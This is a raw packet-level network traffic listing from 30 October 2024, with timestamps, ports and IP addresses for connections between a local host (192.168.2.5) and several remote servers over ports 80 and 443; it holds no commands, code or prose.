Oct 30, 2024 23:11:42.738709927 CET	49921	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.738746881 CET	443	49921	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.738985062 CET	49921	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.744152069 CET	49921	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.744168997 CET	443	49921	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.795130968 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.795171022 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.795187950 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.795200109 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.795227051 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.795247078 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.795269012 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.795321941 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.795342922 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.795438051 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.795466900 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.795480967 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.795577049 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.795883894 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.886715889 CET	443	49916	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.886795044 CET	443	49916	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.886945963 CET	49916	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.887095928 CET	49916	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.887109995 CET	443	49916	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.887129068 CET	49916	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.887134075 CET	443	49916	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.891180038 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.891207933 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.891227007 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.891247034 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.891283035 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.891309023 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.891331911 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.891347885 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.891351938 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.891380072 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.891390085 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.891432047 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.891478062 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.891623020 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.891638994 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.891654968 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.891665936 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.891680002 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.891700029 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.891772032 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.891788006 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.891802073 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.891812086 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.891818047 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.891827106 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.891843081 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.891866922 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.892465115 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.892481089 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.892529011 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.893395901 CET	49922	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.893435001 CET	443	49922	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.893590927 CET	49922	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.896626949 CET	49922	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:42.896645069 CET	443	49922	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:42.900377035 CET	443	49911	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:42.900876999 CET	49911	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:42.900907993 CET	443	49911	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:42.901633024 CET	49911	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:42.901639938 CET	443	49911	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:42.901954889 CET	49911	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:42.901969910 CET	443	49911	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:42.913121939 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.913245916 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.913302898 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.931878090 CET	443	49906	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.931900024 CET	443	49906	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.931972980 CET	443	49906	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.931967020 CET	49906	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.932049036 CET	49906	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.932889938 CET	49906	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:42.932909012 CET	443	49906	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:42.976761103 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.976778030 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.976835966 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.998027086 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.998079062 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.998127937 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.998143911 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.998159885 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.998168945 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.998178005 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.998191118 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.998194933 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:42.998213053 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:42.998231888 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.009118080 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.009138107 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.009210110 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.026175022 CET	443	49898	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.026793957 CET	49898	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.026803970 CET	443	49898	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.027615070 CET	49898	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.027620077 CET	443	49898	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.031196117 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.031270981 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.031332970 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.031410933 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.060837984 CET	49924	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:43.060873032 CET	443	49924	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:43.061057091 CET	49924	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:43.061501026 CET	49924	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:43.061521053 CET	443	49924	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:43.094485044 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.094551086 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.094568968 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.094597101 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.094635010 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.116389036 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.116410017 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.116427898 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.116445065 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.116457939 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.116472960 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.116478920 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.116498947 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.116518974 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.127052069 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.127079010 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.127096891 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.127135992 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.127161026 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.174379110 CET	443	49917	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:43.174750090 CET	49917	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:43.174763918 CET	443	49917	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:43.175117970 CET	443	49917	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:43.175898075 CET	49917	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:43.175898075 CET	49917	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:43.175977945 CET	443	49917	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:43.178714991 CET	443	49898	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.178769112 CET	443	49898	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.178958893 CET	49898	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.189547062 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.189568996 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.189621925 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.189645052 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.212639093 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.212701082 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.212702036 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.212743998 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.212745905 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.212785959 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.221877098 CET	49898	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.221888065 CET	443	49898	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.221894979 CET	49898	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.221908092 CET	443	49898	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.224859953 CET	49917	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:43.227628946 CET	49925	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.227658033 CET	443	49925	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.227803946 CET	49925	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.228199005 CET	49925	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.228212118 CET	443	49925	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.233808994 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.233843088 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.233859062 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.233890057 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.233911991 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.244826078 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.244872093 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.244898081 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.244925976 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.244941950 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.244962931 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.245001078 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.245028019 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.245044947 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.245089054 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.318586111 CET	443	49917	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:43.318660021 CET	443	49917	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:43.318900108 CET	49917	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:43.330663919 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.330703020 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.330713987 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.330730915 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.330754995 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.333715916 CET	49917	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:43.333731890 CET	443	49917	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:43.340508938 CET	443	49918	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:43.340770960 CET	49918	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:43.340783119 CET	443	49918	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:43.341133118 CET	443	49918	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:43.341944933 CET	49918	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:43.342010975 CET	443	49918	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:43.342428923 CET	49918	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:43.351978064 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.352000952 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.352013111 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.352040052 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.352070093 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.362844944 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.362859011 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.362873077 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.362891912 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.362895012 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.362910032 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.362917900 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.362924099 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.362963915 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.362978935 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.363065004 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.363080025 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.363106966 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.363121033 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.383332014 CET	443	49918	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:43.415925026 CET	443	49920	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.444369078 CET	49920	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.444396019 CET	443	49920	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.444802046 CET	443	49919	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.444837093 CET	49920	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.444842100 CET	443	49920	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.445420980 CET	49919	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.445456982 CET	443	49919	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.446237087 CET	49919	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.446244001 CET	443	49919	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.448679924 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.448753119 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.448765039 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.448785067 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.448806047 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.448815107 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.465106010 CET	49926	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.465138912 CET	443	49926	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:43.465240955 CET	49926	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.465408087 CET	49927	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.465445042 CET	443	49927	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:43.465531111 CET	49927	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.465619087 CET	49928	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.465645075 CET	443	49928	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:43.465696096 CET	49928	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.465749025 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.465770006 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:43.465856075 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.465883970 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.465892076 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:43.465939999 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.466006041 CET	49931	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.466013908 CET	443	49931	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:43.466212034 CET	49931	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.467006922 CET	49926	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.467019081 CET	443	49926	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:43.467138052 CET	49927	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.467153072 CET	443	49927	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:43.467525005 CET	49928	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.467539072 CET	443	49928	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:43.467716932 CET	49929	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.467731953 CET	443	49929	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:43.467854023 CET	49930	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.467864037 CET	443	49930	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:43.467952967 CET	49931	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:43.467967033 CET	443	49931	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:43.470278025 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.470315933 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.470329046 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.470347881 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.470365047 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.481462955 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.481508970 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.481511116 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.481525898 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.481549978 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.481568098 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.481674910 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.481688976 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.481702089 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.481719971 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.481730938 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.481749058 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.481884956 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.481928110 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.481942892 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.481982946 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.484030008 CET	443	49918	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:43.484049082 CET	443	49918	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:43.484143019 CET	49918	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:43.484153032 CET	443	49918	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:43.484464884 CET	443	49918	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:43.484878063 CET	49918	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:43.513006926 CET	443	49921	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.513717890 CET	49921	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.513734102 CET	443	49921	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.515403032 CET	49921	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.515410900 CET	443	49921	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.545265913 CET	443	49911	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:43.545289040 CET	443	49911	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:43.545324087 CET	443	49911	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:43.545352936 CET	49911	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:43.545381069 CET	443	49911	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:43.545401096 CET	49911	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:43.549005985 CET	49911	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:43.549036026 CET	443	49911	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:43.549063921 CET	49911	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:43.549180984 CET	443	49911	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:43.549216032 CET	443	49911	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:43.549313068 CET	49911	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:43.561415911 CET	49918	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:43.561429977 CET	443	49918	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:43.566700935 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.566756010 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.566759109 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.566768885 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.566792011 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.566812992 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.572103977 CET	443	49920	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.572185993 CET	443	49920	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.572247028 CET	49920	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.588541985 CET	443	49919	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.588570118 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.588573933 CET	443	49919	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.588588953 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.588601112 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.588613033 CET	443	49919	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.588651896 CET	49919	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.588702917 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.588702917 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.588776112 CET	49919	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.599558115 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.599570990 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.599581957 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.599596977 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.599612951 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.599656105 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.599688053 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.599699974 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.599729061 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.599754095 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.599764109 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.599776030 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:43.599812031 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:43.618717909 CET	49920	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.618758917 CET	443	49920	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.622904062 CET	49919	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.622920990 CET	443	49919	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:43.622931957 CET	49919	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:43.622937918 CET	443	49919	13.107.246.45	192.168.2.5
